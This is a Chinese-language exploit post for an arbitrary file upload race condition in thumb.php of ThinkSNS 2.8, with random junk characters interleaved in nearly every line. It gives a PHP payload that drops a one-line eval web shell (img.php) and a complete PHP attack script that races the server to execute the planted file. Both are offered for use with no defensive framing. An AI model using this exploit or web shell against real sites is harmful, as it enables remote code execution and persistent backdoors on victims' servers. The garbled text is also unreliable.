漏洞版本
5 ^3 T" T/ g |2 L存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
( J' Y# Y8 I& D( I, x0 J7 B+ ~' w8 K漏洞文件
7 a N2 K" l( F( C$ y存在漏洞的文件为:thumb.php
- y4 J( t9 c! {* B$ A. i# |+ ~3 x; Y作者:韦鲲鹏
' K4 c# U5 t. [+ f' k' H; H- Q+ A1、 准备如下PHP文件并上传到服务器(自己的)。. Z2 s9 P6 i9 Z# o
文件内容如下:( a! ]' c" c2 L+ N; s4 r( c% _
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ T+ g, o- ^) Y7 ]! f/ l z6 _) Y
2、 计算出临时的文件名:
( I) {. H- s6 g这里我们可以看文件的99行(刚刚是不是没注意呀!)。2 l: F! a: Q9 ~
' b' g; m, l6 S' j5 ]" ~
3、 上传临时文件。/ L- [5 r7 o8 a
4、 访问临时文件。7 D Q0 R! w& K/ ~5 R) n
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 A% F2 {3 B2 ^; g
Exploit文件内容如下:(这个我就不详细解释了)' v2 u1 K$ v5 O) y8 Y5 d
<?php* g/ Y' [7 [9 k9 q% ^7 d1 E: F
error_reporting(0);
5 I% g9 `( V" K7 K. sset_time_limit(0);
. H4 Z% _1 G1 s) Wini_set(“default_socket_timeout”, 5);
* }* o k& Z" x' j2 [function http_send($host, $port, $headers) {& R! H" G: n, p. x3 A
$fp = fsockopen($host, $port);* c; k$ x3 D$ R" a' e# q2 n
if (!$fp) die(‘Connection -> fail’);
0 G& O+ v; e, }( M0 afputs($fp, $headers);
) k/ m) I% D, o/ _' z# mreturn $fp;" D/ a! D% x2 z
}% s9 \3 k! F" |. q4 H
function http_recv($fp) {
* n! B) P) G, G( ~2 R4 ]$ret=”";4 A; H, G4 X3 Z3 v! n! r. U' a
while (!feof($fp)); Q( }2 \) b- y. ^! U" Q
$ret.= fgets($fp, 1024);
9 B3 C4 ~) _) l& I5 d) Efclose($fp);4 t- o9 q* J" M! C/ S4 d: l: l: k
return $ret;- i1 y T6 @6 _2 W' a
}9 W1 \3 i8 @/ R7 |5 I% ?/ c( O
print “\n# ThinkSns Arbitrary File Upload #\n”;
- G% e8 `1 z* B; E' Wprint “# Discovered by 韦鲲鹏 #\n\n”;7 T" J" J# z$ P% t* Z8 ?
if ($argc < 4) {5 K/ ~8 R" m+ V/ s" n) B$ I
print “Usage: php <host> <path> <romote_url>\n”;
: [: |' n# e! P0 \print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
% c- Z7 h9 T4 n4 Q+ gdie();! z) A+ W5 J- V' v6 R3 M
}- X) E, T K+ M- J
$host = $argv[1];: H6 b8 [. Y3 U/ [2 W4 ~
$path = $argv[2];! l N8 Q* x. T1 G) P7 l' F
$url = $argv[3];
( {1 E4 x0 u7 p* W$i=0;
6 L& M2 H- ]' x# `, e# g/ {# i5 K//上传数据包; ~2 n4 e; q H$ s7 R9 [) d. m
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 C+ u" l" g& l+ m* e8 U# Y/ P$headers_up .= “Host: “.$host.”\r\n”;8 P) w3 n. z2 X
$headers_up .= “Connection: close\r\n\r\n”;
/ [# K, d* @8 r" z5 t+ c, decho $headers_up;* X, K5 N* [! N+ y+ i6 b C, P
//临时文件访问数据包# v/ v/ H8 j. H/ ]9 V q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
% A8 z2 o6 E/ U5 T8 H4 d$headers .= “Host: “.$host.”\r\n”;
( d; M, f9 `9 ?$ E8 h2 L& v$headers .= “Connection: close\r\n\r\n”;! L9 g9 n2 P' [0 K" Q! a0 p
echo $headers;
1 U8 z/ E* x6 Z7 I$ d. {/ F, ewhile(++$i<10) {0 D( K: x) e# q' _1 y
fclose(http_send($host, 80, $headers));: p3 ]6 y$ d+ I- e' x+ ]; `' H
}
( @+ Y; J, o7 m/ u8 M' t- wfclose(http_send($host, 80, $headers_up));; G5 m5 e; z: q1 i$ L
while(++$i<50) {% C. Y& o4 d0 P
fclose(http_send($host, 80, $headers));
3 i% ^, y, l" W* i) s: r}7 v! F, ?3 t# E+ R9 w3 p: V! h' R
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
- V$ |9 Q. I3 F+ {0 j$ C$headers .= “Host: “.$host.”\r\n”;
7 S# i9 g0 N3 h" n" I, ^$headers .= “Connection: close\r\n\r\n”;; M1 c( c/ p4 ?: C
$res=http_recv(http_send($host, 80, $headers));
# m" @8 L% s: Y" W" a# y. Yif(preg_match(‘/200 OK/’,$res)) {
9 W6 O# C3 X3 F$ {) Sprint “Success!\n\n”;
+ \) K5 o" w0 q3 }, r} else {
8 M( `: d: a* k2 iprint “Fail!\n\n”;2 `8 Y0 q" p. J. w: `% ~& o+ k5 s
}- y8 j" N$ g" G( D( M8 u
?>
& H& x6 t" u2 s3 [" s4 ^ |